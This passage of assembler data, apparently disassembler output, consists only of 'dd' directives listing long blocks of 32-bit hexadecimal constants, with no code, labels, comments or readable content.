		dd 0DEA30035h, 93119938h, 9650A167h, 0CE0D2BACh, 0AF40430Ch
		dd 31C08F2h, 803AE34h, 0A98C1D74h, 0D4F85DA8h, 19AA4624h
		dd 0C4A4E840h, 1217F341h, 52DB5530h, 409AA4A5h,	9F9449E1h
		dd 0BCDB5738h, 0FB9FEB53h, 749F4959h, 7BC4A861h, 8C5E8CE6h
		dd 4B9D124Ch, 9905895Fh, 6382252Eh, 0BF022C37h,	90C5CFF7h
		dd 0F49A4ABAh, 0B4E4134Ah, 168C268Eh, 65088CA3h, 0EBB3DFDEh
		dd 0D3E4513Bh, 8A1204D8h, 610B16A3h, 2D9F6549h,	0C8B99784h
		dd 44ACA279h, 0EB53077h, 521B51BDh, 0C517CEF4h,	1423B44Eh
		dd 0A5C0D29Ah, 5A8AB341h, 710FA9CEh, 8DA958AFh,	0E5EEF8BDh
		dd 1C6A5472h, 6671E08Ch, 8715AFEAh, 8821EA11h, 7F3ECA7Dh
		dd 0AEC07CFAh, 15DC6380h, 7C0807FDh, 0A1A5A6FAh, 0D4C54D47h
		dd 0F6407154h, 80C9F5CDh, 0A8F7F56Dh, 0BE470E24h, 0C6DE7BFh
		dd 63D8583h, 5E04294Ah,	0F828EAD6h, 12FB2BE9h, 8BF00A1Fh
		dd 9BF0886Eh, 15CA8F82h, 0B2555CE7h, 0C5ABE2Eh,	8F7A028Ch
		dd 230E7589h, 7A62D5A5h, 836D231h, 4E7A25C0h, 7D0E5F4Dh
		dd 42B440ADh, 56E3C043h, 0CE23FF2Eh, 1BB4F929h,	5AA6F8D3h
		dd 0E4F5CC3Dh, 0F39B341Ch, 7B4BA435h, 0A3AC783Ah, 0B09B569h
		dd 0A97BD6DBh, 30577729h, 4FC4D7B0h, 8DA11814h,	1722F29Fh
		dd 0A45686BDh, 1619ABD9h, 0FB77AC14h, 9FF89F2Fh, 0AD070968h
		dd 9EA6D0Dh, 9ED08E42h,	139A3AAEh, 5708A589h, 682C062Ah
		dd 0EBB77FC2h, 0BFC6DE21h, 0E85CD817h, 95E6CB96h, 617F497h
		dd 0C077B29Ch, 9AB8A0EEh, 94B514D5h, 0D6B91D74h, 573ED613h
		dd 32B9426Eh, 3C0138BDh, 46515F98h, 0F0BAC079h,	8266328Ch
		dd 0E1F3D2F7h, 1EF0F446h, 26EDD0D1h, 0B820AE49h, 8BE687A9h
		dd 7964A810h, 47970196h, 0B9AF8D17h, 1C7BC20Bh,	35B2C82Fh
		dd 99202729h, 8614C4F7h, 0D6037D5Dh, 83A900EAh,	0D9198397h
		dd 33C4C67Dh, 9BBA8B86h, 42FC7854h, 0AD0D92C7h,	672041DDh
		dd 94734620h, 3A467206h, 1135D6B7h, 0B89494C4h,	0DC65E1FAh
		dd 879352AEh, 0EA5F3F58h, 713EA64h, 0E839B751h,	8F5602B7h
		dd 0A346E353h, 13AACD01h, 3F292C22h, 2DC1D3A6h,	0CE668692h
		dd 69DD6F31h, 0A9C1D958h, 0F17D83A0h, 27F8EB41h, 0FCDF0F3Eh
		dd 88C22246h, 26DB891h,	26EF1605h, 3BC82EAAh, 3B8B3F3Bh
		dd 0ABC7205Ch, 6DD67807h, 60F6159Ch, 12E250BEh,	0EABDDC73h
		dd 0C6510EB7h, 6FAB0510h, 7FE3FAD7h, 0B29BA3DBh, 0B37C109Eh
		dd 0FB117280h, 6D47442Dh, 0AABB92DFh, 0F4DA3D75h, 447F2159h
		dd 0F777670Eh, 0D9953BFDh, 0BC076935h, 2F8489A9h, 0A10CD143h
		dd 2E9558F8h, 0D88162A2h, 0CF139602h, 1980CB9Ah, 76114BEBh
		dd 0C0051795h, 85E04308h, 0E175599h, 0F994F97Fh, 0B6278CDBh
		dd 0A0AF3750h, 7EEC95FFh, 4AF2891Fh, 95C22EFBh,	0B4927449h
		dd 0D9CCB8ABh, 20BF8D3Bh, 5012FE95h, 9C65530Fh,	0AAB1B320h
		dd 4E3EF614h, 0FCD2C515h, 0E3925FFFh, 1E6D8DFCh, 51BEDF92h
		dd 64214502h, 7613B75h,	0B801716Dh, 0F48DCBC2h,	876D015Dh
		dd 0D1E886E7h, 9D9634A3h, 0DA023EA1h, 0B9CEB2C8h, 1D84A828h
		dd 233E17E3h, 0EDECA69Fh, 671A0C60h, 7ABD8024h,	12DC7BE8h
		dd 0A2AE1508h, 0B9ECAC39h, 1A21CE3Ah, 0BED41567h, 7DCB0E65h
		dd 0F4F483EDh, 0B4B9A634h, 0EA7FC369h, 0CCE909BBh, 9FDAF63Dh
		dd 0A8270F07h, 6FED0425h, 0AD1B9B5Eh, 943065A3h, 6BE41490h
		dd 60615ACh, 620BDCFFh,	3FCF0B30h, 0C5BF5DD0h, 8F983A7Eh
		dd 1BF2AA15h, 0F4D2F90Bh, 0B04B69B7h, 8CBB6A19h, 2ACD33D7h
		dd 94121BA2h, 34A94A8Eh, 8C58F8D0h, 78AC1F5Dh, 0E9C717A8h
		dd 0D260544Fh, 4BFB2C87h, 7CFA25FCh, 5B32BB1Bh,	0F13A2B9Eh
		dd 0C9EFB20Bh, 56B894EAh, 0DD2650FCh, 3A783458h, 6BD2A083h
		dd 47D87B21h, 0C6711192h, 797321BCh, 4EFA08F3h,	3CB80442h
		dd 5B2C0F81h, 5423745Ah, 0E09F96B7h, 2106DFE3h,	18C557E6h
		dd 0BCA35EC3h, 0CE686367h, 609B770Bh, 6EBD92B9h, 0BE564BAAh
		dd 0C0E0422Dh, 8C0B117Eh, 0B755E636h, 4F3D8612h, 52584094h
		dd 0BAC13FACh, 26A48835h, 0B450D25Fh, 0BD00B800h, 0DEEE62DCh
		dd 9F7069B9h, 0F1F75B14h, 0FC2AF4BDh, 30AB9E69h, 0F359A154h
		dd 52E69093h, 0DBDD617Ah, 0E35A672Ah, 0BFB8B50Ah, 0CA12086Eh
		dd 2647A6D6h, 0E368BD38h, 0CB48207Fh, 60566FABh, 8A0FDE4Ch
		dd 0F889CCCDh, 0F62F4934h, 6E02320Eh, 0D0254188h, 4E7A4576h
		dd 9567D786h, 0BAED611Dh, 96EF703Ah, 831C73A7h,	6ACCA58Bh
		dd 6729A839h, 8DF2532Dh, 5DBFFE12h, 0CE4E21F9h,	2E33F9F6h
		dd 0F05C4764h, 5DC03B3h, 9DB465CFh, 0CEABD012h,	16B0B11Ch
		dd 15E6A8D0h, 0E55E789Fh, 0B3FE3879h, 8117E4FAh, 85E438C4h
		dd 4AF16513h, 2DDFF34Ah, 78943E57h, 0C0D1392Eh,	0A1239DCCh
		dd 4DCAD690h, 6D157368h, 3BDC7C22h, 0F99989EAh,	22FDB585h
		dd 2B46BA63h, 4B7078EDh, 61EB63B2h, 1E53A648h, 0F0828030h
		dd 0E5973B0Fh, 0A3C0098Fh, 0F4AC6D4Eh, 0B4FC9AC2h, 7124C8EDh
		dd 1B83C4DCh, 0FAF00B73h, 0ABD2DA63h, 3459A96Fh, 205F91BBh
		dd 0CDDEE14Ch, 9DBAB6D7h, 4823DF49h, 0D2EC3E5Fh, 8600B171h
		dd 1DCE6AE0h, 9A1DFBDFh, 8EA1BB39h, 53E39CBh, 80952623h
		dd 31C34EDAh, 46BF74Fh
		dd 0B9C59E5Ch, 5DCDE910h, 0E2061759h, 0DD7878Bh, 0CF342098h
		dd 0FFA00598h, 0EDB3FB20h, 61A26D47h, 51F4D040h, 6D6BE4A5h
		dd 0A5C5107Ah, 0ACDDA76Eh, 4AE41233h, 88D11B21h, 0DC6B4A9Ah
		dd 1AAD7B8Ah, 0DBE08133h, 0CBA43CFCh, 660D307Eh, 0AF07A7F6h
		dd 0A30EF68Ah, 0A48024A5h, 0FD224A37h, 28C7A9F7h, 633EDFDCh
		dd 6694E2EAh, 48C1D108h, 6EE4CCDh, 9888DD1Bh, 73067B5Ah
		dd 96C9138Ah, 0EB3CB624h, 830007D9h, 7F826C19h,	331DE453h
		dd 0E1610035h, 86644528h, 9ACB4A7Fh, 52370141h,	660F416Eh
		dd 85D5A55Ah, 85A1DAD3h, 10288DC5h, 0E94E7D53h,	44163733h
		dd 0CA168803h, 0EDA6F913h, 6964CF66h, 0A0B60B94h, 91E34E73h
		dd 0BA0F95D2h, 8BC2949Ah, 53E1A6Eh, 3455DC45h, 9487A67Dh
		dd 0E401F453h, 4CC9AF6h, 894D35A1h, 423C132Dh, 6D8DC83Ch
		dd 4168E89Ch, 0F82F30A7h, 144947D9h, 58174D2Ah,	40FCCF93h
		dd 699F874Dh, 0DA402F63h, 96FF79AEh, 0F29EB733h, 70431D32h
		dd 95565E3Ah, 368CC5FFh, 0AAB8BFDCh, 0EA8F24BCh, 0A9452E22h
		dd 23B453ADh, 1F02D428h, 0B1D4413Eh, 55226426h,	9BD93617h
		dd 0F261840Ah, 0A0C836FDh, 1FEE0FFh, 1E4E840Fh,	9EBEC280h
		dd 172863E7h, 3C228F1Dh, 0EBA09A15h, 0C19745A6h, 28675B6h
		dd 2A180139h, 86AAE71Dh, 0D0D53D4Ch, 3F4AE56Dh,	0D79E1585h
		dd 6E4FB4EDh, 0A383810Fh, 0BE54EAC4h, 0E332228Ah, 0A930301h
		dd 10BF9A64h, 0D4680D9Bh, 1B2CFF5h, 4D2D7146h, 497EA680h
		dd 3E24FFBCh, 399BD514h, 8218A598h, 0B6CD7DE9h,	0FE4E6AC0h
		dd 0CEDCD423h, 0AC58F7B8h, 0EF7203F7h, 0D40B4067h, 9B2BB6A0h
		dd 3773DEE0h, 95DEB48Dh, 0CB5986C8h, 9E506C5Ch,	90DAAFEBh
		dd 0BF0991A2h, 0E7C24C60h, 8054EB64h, 0D480724Fh, 0CBE2963h
		dd 0E9ABF0F1h, 0ABE96AD6h, 0F3E24F9Bh, 0D01334D0h, 58D625B7h
		dd 622048EFh, 0C5DD25E3h, 0CB93A704h, 0DE8E0060h, 8C5847AFh
		dd 1B17B838h, 0EB665D78h, 0AA38FF8Dh, 470BC0B6h, 0D4FD8145h
		dd 9E514916h, 0A391953Dh, 0C296F643h, 0D6210A73h, 347A137Dh
		dd 0E1EC1B8Eh, 61347828h, 0D045B654h, 44A657h, 516DBC80h
		dd 754A4B59h, 7BB0FCAAh, 23CE8AEDh, 0B0E89168h,	0DEF9AE6h
		dd 2B2A7E6Ch, 0FAE799B5h, 0DEAB2313h, 7D6A9E3Ah, 0FD9AA854h
		dd 0F7388C38h, 30E5306Eh, 4E079317h, 0CDDB40B2h, 6311809Dh
		dd 0FCF03045h, 0F573A5A2h, 0C9207E74h, 2C27D40Fh, 6560338Bh
		dd 6164B05Bh, 6DE0498Dh, 0BF3789Eh, 0D05077C5h,	0B6CD55DEh
		dd 0E134605Ah, 0F9EAB1B6h, 0AB4609C1h, 9E7E5C0Ah, 2C32FB0Fh
		dd 0AFEAE870h, 304131ADh, 0E490A8C6h, 0FDE46881h, 0BFC9FD8Bh
		dd 50765469h, 8D9D8FF1h, 40F18310h, 7BA778ACh, 0ADDED649h
		dd 0BF859768h, 0A51FD5E0h, 3BA51340h, 6CF7368Bh, 185163B0h
		dd 0A8BD19B1h, 15A981ADh, 6B02D77h, 0D5FC4F5h, 43477031h
		dd 68022BA6h, 0EC882633h, 3F68FA03h, 40077FEAh,	87D5DF67h
		dd 10BC9D4Ah, 0AA9AD9DFh, 0FDD6A73Ah, 0CD6DBAE0h, 0FCCEE012h
		dd 0A1EC54Dh, 32E9F77Bh, 0BFBC3441h, 0E50AD4A8h, 0D6BF24AFh
		dd 6ADDE411h, 228DF8B7h, 0B3900321h, 806B1B3Fh,	0B557B676h
		dd 4DBA4465h, 0F2DD8279h, 4E3D6138h, 7B221D00h,	0FD1DC2B3h
		dd 0E365A4ABh, 465C2067h, 0CA89C81h, 5494DD23h,	3C666E08h
		dd 0E9B455DCh, 0ADCA2682h, 0B00D1553h, 0A2F299CFh, 72E4A81Ch
		dd 4C790F93h, 2E66F2F2h, 187EF267h, 0E284150Ah,	0ED454550h
		dd 0E1CC7249h, 30E29BEEh, 759DB8C6h, 4A42213Dh,	0D34870C7h
		dd 0FE48845Eh, 4E1D7964h, 0D4C169E5h, 0F70237AEh, 54DB627Eh
		dd 0E4870531h, 907FE9BCh, 0D5D754E1h, 529D823h,	51AC042Fh
		dd 0BCA9DB21h, 0FDE7E3D5h, 0F8518942h, 0A4A570A5h, 0C4B112A4h
		dd 47DED221h, 6022635Fh, 0F52C4253h, 91058C57h,	0D9CB95CEh
		dd 0A79A2B29h, 0F453BCEBh, 73AB4B95h, 0A2287F63h, 88035462h
		dd 3B546B1Bh, 2AF9C8ACh, 6A6242B7h, 0DBAEBDE3h,	0F89F30A9h
		dd 97ACF4BCh, 2C1E73AFh, 90F746DEh, 0F554CDh, 0BE7A9F3Bh
		dd 0BBFA63CDh, 54011A9Fh, 9546FFF2h, 4B2CF5A5h,	99C7F7FEh
		dd 0E65EF753h, 12E376EBh, 0C0DF6CBBh, 7C8B6319h, 0C7334A72h
		dd 0FD5635D2h, 31DE1987h, 19E1C3E2h, 1EFF5EBBh,	6E483AD3h
		dd 0C8E9A138h, 3238FFE1h, 2F5FD21Fh, 6780B4CDh,	18D813CDh
		dd 0E34A0370h, 0CF5FC8A8h, 9FE6C3E6h, 93D0C5CCh, 0EF7D3135h
		dd 658FC02Fh, 37600629h, 0E13C5E85h, 9857CABEh,	0AB0B63E6h
		dd 0DD12C252h, 121FBD5Eh, 2E696AFFh, 0D07F93Eh,	146EFF49h
		dd 1CBC6D1Dh, 0B1080570h, 7193FEDAh, 43B2E030h,	60035926h
		dd 9DC38191h, 75EB1F10h, 0D955ED29h, 5CDB7C69h,	0AC5B2E18h
		dd 0AD9C6B72h, 0F1AA398h, 717CEAF4h, 5FDEB0A7h,	0BDB358F0h
		dd 0E3FC79D7h, 0C1D2EB0h, 0A0BD1988h, 0DF48B18Ah, 7787EBF3h
		dd 0E041A5A8h, 903F91A6h, 3E904A6Dh, 0F2F23E8Dh, 9DCDC7F0h
		dd 0EC930015h, 0B4DAC40Fh, 713266F3h, 0CC6C4BFCh, 0FB72CC1Fh
		dd 0EB982D0Eh, 4AA41C90h, 0BF7441DBh, 0B71F893Bh, 81719374h
		dd 3AB22DA7h, 0A5F2B874h, 178D8C7Eh, 931458BEh,	0E87A1B75h
		dd 85871184h, 0ADB43D0Bh, 96D7E04h, 0C2B5E03Ah,	0AF2C85AAh
		dd 0E76401ADh, 3BF82ECCh, 0B8787950h, 511DDB84h, 0B7E6D244h
		dd 0D0B4BF81h, 5BA2FCE6h, 929E1B13h, 0DA8E8A26h, 93FF30ACh
		dd 51398EC3h, 0F685E2B8h, 66BFFFE1h, 0EB8CD13Ah, 1BEEC313h
		dd 0E8E3EA11h, 0B229127Fh, 9270284Dh, 47BF96DBh, 3F962A02h
		dd 8965DA60h, 0BDBFF9F6h, 13FA2993h, 9DD06811h,	0AF400236h
		dd 9ECAA43Ah, 7CDA0C79h, 0FFA6B571h, 4AAC28ACh,	0ACB3B855h
		dd 81DE75F8h, 0F5E58B09h, 867BCD37h, 9EA5842Ah,	0B593020Ch
		dd 7D760DBFh, 3F88370Ah, 7F0123Ah, 4D06F373h, 44B581C2h
		dd 9A0F1FB6h, 4A61ACB0h, 41CEC354h, 3B628625h, 0D2422339h
		dd 3CA6FFE8h, 1D1563E4h, 0F27C5EDBh, 0B2D3F409h, 905F68BAh
		dd 6199EDBCh, 0E294F8FEh, 4D7DBFB1h, 0D0458132h, 0E55124D8h
		dd 3F843144h, 8214A53Eh, 0E667F22Eh, 0CDC0B0C0h, 212707A6h
		dd 5E2D4697h, 0B966EBF1h, 0FA23B85Ch, 98C67979h, 549C6747h
		dd 0A2916D87h, 0B2D48132h, 7734C588h, 343EE9D9h, 2F2360EBh
		dd 0DC6CDF22h, 77A69A08h, 0ADE63648h, 27016299h, 5EEE73F2h
		dd 0ECC32D0Eh, 0D65B52C3h, 94351626h, 0A8A0A92Eh, 46F626F7h
		dd 69C99E95h, 64E4B476h, 4E150BA8h, 0CA138634h,	0B4E7BD28h
		dd 4C806BDh, 6DED83C3h,	884E2FD4h, 1FCF93DCh, 0E6E7B5C0h
		dd 0B043B2BAh, 90931310h, 2E85AAD0h, 62C04AFh, 2F67A147h
		dd 0E4A6FEBCh, 82AC51A1h, 0ACCEA179h, 0EAFF7D02h, 0BCA442FAh
		dd 440B4473h, 28BE7FC5h, 33BD6D70h, 0F57C4F0Bh,	0BE9165F0h
		dd 0F45227F3h, 57C0E0Eh, 585E925h, 0A045ADD5h, 51E7261Fh
		dd 7EF93BCDh, 0E0CBF1E5h, 9EFCA113h, 0DA5F8DDh,	0C77A7637h
		dd 3DE055E5h, 6695299Ah, 15FCB470h, 90DFEBD0h, 5C1DD73Dh
		dd 9E89A472h, 3F9E308Ch, 0A991C4FBh, 0AFDEC43Fh, 48ADC305h
		dd 0A7801826h, 0E0108397h, 51E5461Ch, 701A216Ah, 0C70EFDC0h
		dd 88E6C7D6h, 0F6EEC8ACh, 38118AF3h, 0D0392D4Ah, 0F88A560Eh
		dd 2FA37FA8h, 85A97A0Bh, 48D7BB66h, 401F8656h, 0E93F104Bh
		dd 0A6E5BD71h, 0E53B0E53h, 0D3E26DABh, 0C627119h, 27C97243h
		dd 0B965A2DAh, 5CFF9BF9h, 216FA334h, 0C03CA182h, 0BAF39E3Ah
		dd 7B49E09Fh, 66658C83h
		dd 692EAA08h, 9FA056B0h, 0F88C9B6Ch, 361617CCh,	0B4BB642Ah
		dd 0FAEF2A10h, 7F626DCDh, 0EFA8AEDFh, 56EF85B8h, 0E020C5EFh
		dd 0FF40DCD7h, 3E7B8452h, 69A63308h, 0F8CC05A4h, 0EE12CB67h
		dd 0AB5036FBh, 27AE2895h, 34BBFFFCh, 4217CDAAh,	0F1055779h
		dd 5937078Bh, 0D64ADAEEh, 9DB1C48h, 0B17F94B8h,	0B87C55B9h
		dd 188F2B02h, 0ACA7F5C2h, 47D86033h, 0D838DE0h,	0EE9DD82Bh
		dd 0A4DD5251h, 3E4AD92Fh, 45C7DBDEh, 745AF20Ch,	0FAC6B565h
		dd 0BE363B64h, 4D57F12h, 6B232B89h, 0A938E19Fh,	0B6D74A74h
		dd 0DFF8C047h, 0E5B72E2h, 4E4CD038h, 35E16B40h,	359F1AA1h
		dd 0C037A1EEh, 79F8C674h, 90B9D853h, 0DD16CDADh, 0C9101B15h
		dd 0E4199674h, 66D489B5h, 313C0666h, 0BF50749Bh, 40A3FB5Ch
		dd 35CF5A18h, 0E0A43EBAh, 0FCC382AEh, 80E65539h, 0BDCE4466h
		dd 0A5C1C4A9h, 1BE0A199h, 0BF8F37E4h, 252A38CDh, 0B174C5FCh
		dd 46BAD0A9h, 7EA724D3h, 9A53CC3Ch, 248DCF73h, 6AAC3DD8h
		dd 0CFFFA413h, 0A0FBA6A0h, 8473DBCDh, 714FAAA3h, 0F6774FABh
		dd 17D6DA84h, 0DC0B00AEh, 753107B3h, 65F9E567h,	0AD41A105h
		dd 7E136774h, 37BD584Bh, 0E6295DB1h, 6822920Eh,	0F3DC2184h
		dd 1983318h, 3E993847h,	13A1385Ch, 4FA5F471h, 6B470F75h
		dd 0CD3329A8h, 0C0AC492Ah, 24790F21h, 81F035FDh, 748DB84Ah
		dd 0CF92EF2Ah, 2B5406BCh, 0CC485A62h, 271454DBh, 0A3E8F954h
		dd 8AFF452Fh, 0DA2C267Eh, 63038C0Ch, 98D10042h,	6A0D8192h
		dd 78D2226Ch, 35A130C8h, 0BBE1DBE3h, 0BF0878Ah,	0CC951C5Dh
		dd 0FA6E1DFFh, 0F5B6CF7Eh, 6FA310ABh, 0D1D41961h, 0E8054E33h
		dd 10751CDDh, 0C9D4A5C5h, 17A9F4DCh, 7172247h, 0C3D94F59h
		dd 42B0EC8Ah, 57787154h, 0AD26E4D6h, 46803736h,	4286F6A0h
		dd 0C2292738h, 535A56D3h, 3ED7B63Fh, 936C31AEh,	0C7E7ED5Bh
		dd 2BB3B79Eh, 0B8D1FEDDh, 0F8CD8238h, 0A3F138CDh, 1349B370h
		dd 33A58F34h, 0B93F90Dh, 7DA23D99h, 5C246B41h, 9B2AD0h
		dd 0AF41CED1h, 752B11D7h, 3DA73D2h, 0C7C31F1Bh,	811FD699h
		dd 0FA462D56h, 716C864Bh, 27348E64h, 0FED07932h, 96DB56E1h
		dd 0DA6D49C0h, 9A862CA9h, 2132E6F4h, 0E78E061h,	31C34EE9h
		dd 1FB39C81h, 453FF481h, 5162237Dh, 29DEAF18h, 0EEAA933Ch
		dd 0BDD8E06Eh, 0A8268CCAh, 679031CAh, 0D466AA25h, 31AF12D4h
		dd 2C7E9DBCh, 2CE0DFAFh, 0E4D9EA61h, 5421B4DDh,	0A5DFD274h
		dd 0AE88FDEh, 218BBEB8h, 0D87D2882h, 4CC9F59Dh,	4DC3765Ch
		dd 5A1BDBE2h, 0FD37F766h, 0B4CF7F15h, 0B4F3E618h, 8E3FC057h
		dd 4089B5BAh, 0AABEC271h, 0B499E394h, 0FCE120DFh, 4A7AB5AAh
		dd 3272A0Ch, 6653215Dh,	0EC36813Ah, 1E23A1EFh, 23F04F2Dh
		dd 965563Fh, 0BD92EC85h, 0DA52BF02h, 0FFB05370h, 6B45E8Fh
		dd 0F26E3302h, 321AB636h, 0B79C4178h, 0DBCE541Ch, 0F3E8526Ah
		dd 3883CC8Eh, 0B2240797h, 402EAB49h, 24A45EAAh,	7EAB3621h
		dd 5D690116h, 0A1BA0EDCh, 7AE3C866h, 439FF6B5h,	0C3872BF4h
		dd 0B893BF38h, 0E8106879h, 0A4CE6A32h, 54EB9D33h, 722B23C8h
		dd 652D7103h, 0A069388Fh, 9212E147h, 0D6594845h, 38DF8496h
		dd 0BFABA2F2h, 0B10E0D10h, 3C0FBDDFh, 734AC177h, 8C0A20CEh
		dd 65167E86h, 0D02D96Bh, 0DB9B57CDh, 0D2637BE0h, 0FF747B68h
		dd 0CDF964Fh, 0CF8716Eh, 0FA829537h, 9DEA3216h,	3030DE77h
		dd 1347E16Fh, 304D7BB7h, 3F2A9E08h, 0E18847D5h,	0A203317Ah
		dd 673E1588h, 3C4D7380h, 53D86C03h, 31CE0FB0h, 8B2D6D37h
		dd 0FB0B3B14h, 214F2179h, 8DB5BE05h, 0F676075Fh, 45DA5D1Ch
		dd 29636813h, 0E0995C4Bh, 0BAE06D96h, 3A5BC86Fh, 355D574Eh
		dd 6E90A28Eh, 0C6708779h, 86DDF7CCh, 0E450E770h, 8A547AF2h
		dd 78055010h, 0D85511E0h, 0B1B642D8h, 39C1BABh,	14F82A52h
		dd 4062C5Eh, 819B094Ch,	0CAECE5AEh, 1424BBEBh, 676D98Eh
		dd 444B46F9h, 0C26E463h, 73E5CCC6h, 218500C8h, 38CA994Eh
		dd 7432BB5Eh, 0D718A59Bh, 0AB578BDAh, 846C9ECBh, 9D71BF34h
		dd 0B345F79Ah, 74C8874h, 2FE987C7h, 6A813D40h, 0E8D03706h
		dd 83C3F9B9h, 0DA02388Dh, 1DD5916Eh, 0DC79A799h, 67136A11h
		dd 57DCDB25h, 6CD1F492h, 254929EFh, 0FB550B15h,	0CAC9B8CBh
		dd 667BB8F4h, 0A1121FBBh, 0CF8B3E6Eh, 0DAEEFBE7h, 3B2DC3A5h
		dd 5EE320CAh, 83E791B7h, 0B8B5BDA9h, 20601EF7h,	0B0C49C80h
		dd 714364D4h, 4146AB2h,	494B1AA0h, 0D0CCCC6Fh, 0C8BDD597h
		dd 2AF47713h, 4BB70070h, 0A9E09E37h, 62CC0DB1h,	0F6EE51A3h
		dd 8F4E2461h, 2747E661h, 6D233109h, 0E7554F5h, 49A2700h
		dd 0E63A838h, 90C2758Ah, 0F88D06BAh, 0F0980574h, 54B2142Eh
		dd 44E8FFCBh, 2412C77Ch, 2029A1EAh, 2FC8C493h, 0B70121F1h
		dd 0CC5D4480h, 2EA26826h, 3FCBD9E3h, 11058FD4h,	57AD6370h
		dd 0D9F6978h, 20E297D4h, 3F03BDB1h, 38FE5326h, 5327588Ah
		dd 5ABD66EDh, 98CACE43h, 636C49D3h, 0BFEDFB87h,	42E0FED8h
		dd 0D8979C4Bh, 0B9E7F8F6h, 57B3EE54h, 67F590EEh, 221FD902h
		dd 1D1DAE03h, 87312083h, 6CBF0B1Eh, 15DF9FD3h, 6104CF11h
		dd 94EF165h, 0EA2DEBD7h, 0CDE8F68Bh, 62EC11E2h,	0B53B6E74h
		dd 2B4A5B3Bh, 6885F02Ch, 7361C8E4h, 48DFBB18h, 1FFDCB1Bh
		dd 0AE9A51FBh, 1A8C4AABh, 410AC247h, 0F3E76A4Fh, 0BBB927DDh
		dd 0E14CE09Dh, 0D161C52Dh, 0A19E0B44h, 0D853D276h, 0A7A11715h
		dd 63779CA6h, 93576E5Ch, 0D8401EF2h, 5E012DA8h,	5F03A71Eh
		dd 0F8A5EDB5h, 6AF4469Fh, 0C9CCEBF1h, 87523951h, 587B663Ch
		dd 7EDB9360h, 0AF19191Dh, 8751FBF6h, 0B2BD1000h, 0A9099418h
		dd 48A37385h, 0BA507B83h, 38689A96h, 7B456FDCh,	4155379Bh
		dd 4331C322h, 0B43A37C9h, 35A17A69h, 0CADD8548h, 0C47C0D5Dh
		dd 8AD74A5Dh, 46C532B4h, 0D6B81F71h, 0F830D060h, 14F3921h
		dd 0F481159Eh, 2BCEB183h, 9F4B7725h, 59434273h,	91BC3D1Ch
		dd 0F15852DBh, 6CD5FE4Dh, 0FD587157h, 3830BCD1h, 1AD533F1h
		dd 0EEE08D0h, 0C87C22E2h, 180B3BBBh, 3F7CF656h,	0FF2CB4A5h
		dd 0FE72E758h, 0A38F2729h, 404CFC1Fh, 78323619h, 4B198B5Bh
		dd 0F2182587h, 0AF79015Dh, 0E510BC68h, 11FB08B9h, 0F53B38C4h
		dd 331E747Bh, 0C9EF19A7h, 918CDB27h, 36A2E4C3h,	0A364C32Fh
		dd 0CC02D5CBh, 49D8D19Bh, 0D1CAAF8Eh, 363D1A2Ah, 744CCBD0h
		dd 357B899Ah, 9B6DA42Ah, 0BC3D891Eh, 0DF4FD8Eh,	68C35BADh
		dd 2357E72Ch, 0D8D4A2C5h, 9D52BB58h, 17029BAFh,	0B5F30561h
		dd 0A51A8C13h, 0E8AC4BF4h, 28F2B16Fh, 19A05C64h, 204CCF15h
		dd 0DC8A46BDh, 9BB4FE09h, 0D57E3209h, 6CCE9020h, 56559D69h
		dd 0ECBFBF08h, 188C0BE0h, 631E0B99h, 0B8A5CFFFh, 18A5FEA7h
		dd 898EAD42h, 0F2B22A77h, 0FAF7743Bh, 81CA8F3h,	149487B2h
		dd 8BAEDE9Eh, 0D7134BA3h, 1EAAFDCFh, 0F5E686A6h, 4A0FBA17h
		dd 0EC9B67D0h, 59F971B8h, 60E5FD22h, 25CBB9C2h,	0E40F297Fh
		dd 0AF7683F6h, 0EF6F33A3h, 4B5EB9F0h, 3C7E2020h, 44826919h
		dd 12291322h, 0E96557D0h, 0BE8E9381h, 66474803h, 289CDA2h
		dd 3C8EEB51h, 4E0B9A72h, 928C9DD3h, 0A384AC38h,	9EF74C48h
		dd 0E74DF6C6h, 70D146B8h, 0D1C85B9Eh, 0EA4B75CAh, 48D3F780h
		dd 10B6B978h, 58AB6214h, 1FA71759h, 2FDABE55h, 0F625D744h
		dd 0F73C5FF0h, 131B5E75h, 0CD63F45Ch, 0B374DAB9h, 70EA9A06h
		dd 66005D19h, 0D00E02Bh
		dd 0AE46DCB9h, 0BB137C91h, 78D33168h, 1E9A0A3Ah, 0BD7C3C47h
		dd 2A5F4335h, 8D43ACA9h, 708C2034h, 7CA1BB07h, 0F1749D57h
		dd 0CBFCF7B0h, 0A83F1C59h, 2387C703h, 0C7222228h, 0BB4C56EEh
		dd 5BC64EFAh, 35B84830h, 0FF53DB0Ch, 203996E8h,	0CB748F2Ah
		dd 1C474507h, 0C0944D56h, 0E3D5F169h, 0F1F75245h, 0DDD81B5h
		dd 75EE88F2h, 0C0842F65h, 50722D7Ch, 0A49A4158h, 1B99898Ch
		dd 0A8115EA7h, 874182C6h, 8F5CAE3Fh, 599E8DB9h,	0EAE74073h
		dd 0E0394945h, 0F3C9FFBh, 759B6C58h, 3456BE23h,	0CF365BE7h
		dd 7E5C526Ah, 91FF6225h, 2949D8B5h, 1E3B8698h, 0C0E019BAh
		dd 0A768361Dh, 0ECB89B3Eh, 0B3F4A172h, 0F382A8A1h, 7ABDF071h
		dd 0FDBB4E40h, 8BEADE35h, 7F6AA9E8h, 0E91EDD30h, 7A0B114Eh
		dd 47570690h, 11C821DCh, 1E782C61h, 0E135697Fh,	510C26F3h
		dd 0DB84C5A1h, 0D10B1054h, 0ADA34FF2h, 23DE8B5Ch, 31100CC8h
		dd 0F786399Eh, 0ACF39A66h, 92166659h, 170B5A60h, 4589F784h
		dd 0E521279Dh, 0A2F64EF9h, 7DE2EEDAh, 0CADB5FE3h, 0DE07143h
		dd 8B9EAB0Bh, 2B924572h, 36A5DA9Fh, 8878102Bh, 0C3AC50B4h
		dd 317B3A95h, 0F409FA9Ch, 330FBD65h, 4F2CC68Ah,	0E80F7E6Dh
		dd 0AB900BCBh, 2297EFF6h, 0AEBE7E76h, 50E20323h, 38DBAB04h
		dd 16D12796h, 0FC5E47E5h, 0BFDEF1B7h, 63A86D30h, 0C053F21Bh
		dd 7AE14A5Eh, 0F1AA6342h, 0C80EAA93h, 0C2ED811Fh, 0A99F33DAh
		dd 15FCE829h, 0EA5962F4h, 0C55AEE35h, 0D6C7E78Fh, 0F378A50Eh
		dd 5AEDDB9Bh, 0AFDCC46Bh, 54EB762h, 0A0445A9Ah,	0CF781912h
		dd 0D70A3045h, 0C85683B8h, 4FA99E9Bh, 0EE5A0011h, 0CA0DD3AFh
		dd 0FA2E228Ah, 8A7102FEh, 0C69D20A5h, 0D728DA73h, 2FEA072h
